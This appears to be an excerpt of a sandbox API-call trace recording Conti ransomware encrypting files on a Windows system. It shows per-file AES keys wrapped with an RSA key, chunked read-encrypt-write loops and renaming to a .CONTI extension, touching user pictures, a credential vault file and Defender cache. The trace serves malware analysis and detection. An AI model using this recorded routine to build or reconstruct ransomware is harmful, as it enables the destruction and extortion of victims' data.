	[0115.296] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.CONTI"
	[0115.296] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.conti")) returned 1
	[0115.297] GetProcessHeap () returned 0x1720000
	[0115.297] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.297] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0115.297] GetProcessHeap () returned 0x1720000
	[0115.297] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65160f8 | out: hHeap=0x1720000) returned 1
	[0115.297] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0115.297] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65d0530 | out: phKey=0x65d0530*=0x6b7f0b8) returned 1
	[0115.297] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0534, pdwDataLen=0x59bf7d4 | out: pbData=0x65d0534*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0115.297] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png")) returned 0x20
	[0115.298] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0115.298] GetLastError () returned 0x0
	[0115.298] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=5400) returned 1
	[0115.298] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1518
	[0115.298] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.298] SetEndOfFile (hFile=0x3e0) returned 1
	[0115.298] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.298] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.298] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d0534*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65d0534*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.299] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.299] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x1518, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x1518, lpOverlapped=0x0) returned 1
	[0115.299] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1518, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1520) returned 1
	[0115.299] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.299] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x1520, lpOverlapped=0x0) returned 1
	[0115.299] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.299] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d0528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65d0528*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0115.299] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.299] CloseHandle (hObject=0x3e0) returned 1
	[0115.300] GetProcessHeap () returned 0x1720000
	[0115.300] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.300] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png"
	[0115.300] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.CONTI"
	[0115.300] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png.conti")) returned 1
	[0115.300] GetProcessHeap () returned 0x1720000
	[0115.300] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.300] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0115.300] GetProcessHeap () returned 0x1720000
	[0115.300] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6516788 | out: hHeap=0x1720000) returned 1
	[0115.300] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0115.300] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65d1c00 | out: phKey=0x65d1c00*=0x6b7f3f8) returned 1
	[0115.300] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d1c04, pdwDataLen=0x59bf7d4 | out: pbData=0x65d1c04*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0115.301] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch")) returned 0x20
	[0115.301] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0115.302] GetLastError () returned 0x0
	[0115.302] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=158) returned 1
	[0115.302] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9e
	[0115.302] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.302] SetEndOfFile (hFile=0x3e0) returned 1
	[0115.306] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.306] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.306] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d1c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65d1c04*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.307] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.307] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x9e, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x9e, lpOverlapped=0x0) returned 1
	[0115.307] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x9e, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0xa0) returned 1
	[0115.307] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.307] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0xa0, lpOverlapped=0x0) returned 1
	[0115.307] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.307] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d1bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65d1bf8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0115.307] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.307] CloseHandle (hObject=0x3e0) returned 1
	[0115.307] GetProcessHeap () returned 0x1720000
	[0115.307] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.307] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch"
	[0115.307] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.CONTI") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.CONTI"
	[0115.308] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch"), lpNewFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.CONTI" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch.conti")) returned 1
	[0115.705] GetProcessHeap () returned 0x1720000
	[0115.705] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.705] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0115.705] GetProcessHeap () returned 0x1720000
	[0115.705] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb350 | out: hHeap=0x1720000) returned 1
	[0115.705] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0115.705] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x6b50048 | out: phKey=0x6b50048*=0x6b7f578) returned 1
	[0115.705] CryptExportKey (in: hKey=0x6b7f578, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5004c, pdwDataLen=0x59bf7d4 | out: pbData=0x6b5004c*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0115.706] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.79")) returned 0x820
	[0116.152] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.79" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.79"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0116.153] GetLastError () returned 0x0
	[0116.153] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=61947904) returned 1
	[0116.154] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b14000
	[0116.154] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.154] SetEndOfFile (hFile=0x3cc) returned 1
	[0116.154] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.154] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.154] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b5004c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x6b5004c*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0116.156] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.156] ReadFile (in: hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x500000, lpOverlapped=0x0) returned 1
	[0124.763] CryptEncrypt (in: hKey=0x6b7f578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000) returned 1
	[0124.769] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.769] WriteFile (in: hFile=0x3cc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x500000, lpOverlapped=0x0) returned 1
	[0126.332] ReadFile (in: hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x500000, lpOverlapped=0x0) returned 1
	[0127.793] CryptEncrypt (in: hKey=0x6b7f578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000) returned 1
	[0127.862] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.862] WriteFile (in: hFile=0x3cc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x500000, lpOverlapped=0x0) returned 1
	[0131.786] ReadFile (in: hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x500000, lpOverlapped=0x0) returned 1
	[0135.060] CryptEncrypt (in: hKey=0x6b7f578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000) returned 1
	[0135.066] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.066] WriteFile (in: hFile=0x3cc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x500000, lpOverlapped=0x0) returned 1
	[0135.610] ReadFile (in: hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x500000, lpOverlapped=0x0) returned 1
	[0136.160] CryptEncrypt (in: hKey=0x6b7f578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000) returned 1
	[0136.166] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.166] WriteFile (in: hFile=0x3cc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x500000, lpOverlapped=0x0) returned 1
	[0138.759] ReadFile (in: hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x500000, lpOverlapped=0x0) returned 1
	[0140.446] CryptEncrypt (in: hKey=0x6b7f578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000) returned 1
	[0140.452] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.452] WriteFile (in: hFile=0x3cc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x500000, lpOverlapped=0x0) returned 1
	[0141.583] ReadFile (in: hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x500000, lpOverlapped=0x0) returned 1
	[0143.338] CryptEncrypt (in: hKey=0x6b7f578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000) returned 1
	[0143.350] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x1900000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.350] WriteFile (in: hFile=0x3cc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x500000, lpOverlapped=0x0) returned 1
	[0145.010] ReadFile (in: hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x500000, lpOverlapped=0x0) returned 1
	[0146.093] CryptEncrypt (in: hKey=0x6b7f578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000) returned 1
	[0146.186] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x1e00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.186] WriteFile (in: hFile=0x3cc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x500000, lpOverlapped=0x0) returned 1
	[0148.774] ReadFile (in: hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x500000, lpOverlapped=0x0) returned 1
	[0149.565] CryptEncrypt (in: hKey=0x6b7f578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x500000) returned 1
	[0149.571] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x2300000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.571] WriteFile (hFile=0x3cc, lpBuffer=0x11200000, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0) 

Thread:
	id = 176
	os_tid = 0x12cc

	[0093.131] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x11710000
	[0093.131] CryptAcquireContextA (in: phProv=0x5affcdc, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5affcdc*=0x176b710) returned 1
	[0093.134] CryptImportKey (in: hProv=0x176b710, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x5affcd8 | out: phKey=0x5affcd8*=0x175e870) returned 1
	[0093.134] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0093.175] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17c00e8 | out: phKey=0x17c00e8*=0x175e4b0) returned 1
	[0093.175] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c00ec, pdwDataLen=0x5affca4 | out: pbData=0x17c00ec*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0093.176] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20
	[0093.341] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.343] GetLastError () returned 0x0
	[0093.343] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=40) returned 1
	[0093.343] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28
	[0093.343] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.343] SetEndOfFile (hFile=0x338) returned 1
	[0093.345] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.345] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.345] WriteFile (in: hFile=0x338, lpBuffer=0x17c00ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17c00ec*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
